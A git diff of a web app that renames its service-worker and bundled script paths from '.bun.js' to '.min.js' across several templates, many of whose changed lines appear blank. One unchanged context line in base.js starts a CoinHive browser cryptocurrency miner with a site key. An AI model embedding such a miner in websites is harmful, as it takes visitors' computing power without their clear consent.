diff --git a/static/js/base.js b/static/js/base.js index d2c08b9..b7f7591 100755 --- a/static/js/base.js +++ b/static/js/base.js @@ -21,7 +21,7 @@ new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE', { // Service worker if ('serviceWorker' in navigator) { window.addEventListener('load', function () { - navigator.serviceWorker.register('/static/js/.sw.bun.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) { + navigator.serviceWorker.register('/static/js/.sw.min.js').then( function(registration) { // Registration was successful console.log('ServiceWorker registration successful with scope: ', registration.scope) }, function(err) { diff --git a/static/js/sw.js b/static/js/sw.js index 9bcfc65..7142747 100644 --- a/static/js/sw.js +++ b/static/js/sw.js @@ -22,7 +22,7 @@ const RUNTIME = 'runtime' // A list of local resources we always want to be cached. const PRECACHE_URLS = [ '/', - '/static/js/.*.bun.js', + '/static/js/.*.min.js', '/static/css/.*.min.css', '/static/manifest.json', ] diff --git a/views/contact.html b/views/contact.html index 23df1f6..1c4f1f8 100755 --- a/views/contact.html +++ b/views/contact.html @@ -10,7 +10,7 @@ {% block javascript %} {{super()}} - + {% endblock %} {% block main %} diff --git a/views/login.html b/views/login.html index da52576..29072cf 100755 --- a/views/login.html +++ b/views/login.html @@ -9,7 +9,7 @@ {% block javascript %} {{super()}} - + {% endblock %} {% block main %} diff --git a/views/map.html b/views/map.html index d8845e1..fb53101 100755 --- a/views/map.html +++ b/views/map.html @@ -117,6 +117,6 @@ - + {% endblock %} diff --git a/views/password.html b/views/password.html index d0b8cd2..845dadf 100755 --- a/views/password.html +++ b/views/password.html @@ -9,7 +9,7 @@ {% block javascript %} {{super()}} - + {% endblock %} {% block main %} diff --git a/views/settings.html b/views/settings.html index b10c6cf..fe0d833 100755 --- a/views/settings.html +++ b/views/settings.html @@ -9,7 +9,7 @@ {% block javascript %} {{super()}} - + {% endblock %} {% block main %} diff --git a/views/templates/base.html b/views/templates/base.html index ad2271e..95b1044 100755 --- a/views/templates/base.html +++ b/views/templates/base.html @@ -80,7 +80,7 @@ {% block javascript %} - + {% endblock %} diff --git a/views/templates/footer.html b/views/templates/footer.html index fbadc83..62de47f 100755 --- a/views/templates/footer.html +++ b/views/templates/footer.html @@ -12,4 +12,4 @@ - + diff --git a/views/templates/header.html b/views/templates/header.html index d488f89..f4b04ce 100755 --- a/views/templates/header.html +++ b/views/templates/header.html @@ -57,4 +57,4 @@ {% endfor %} - \ No newline at end of file + \ No newline at end of file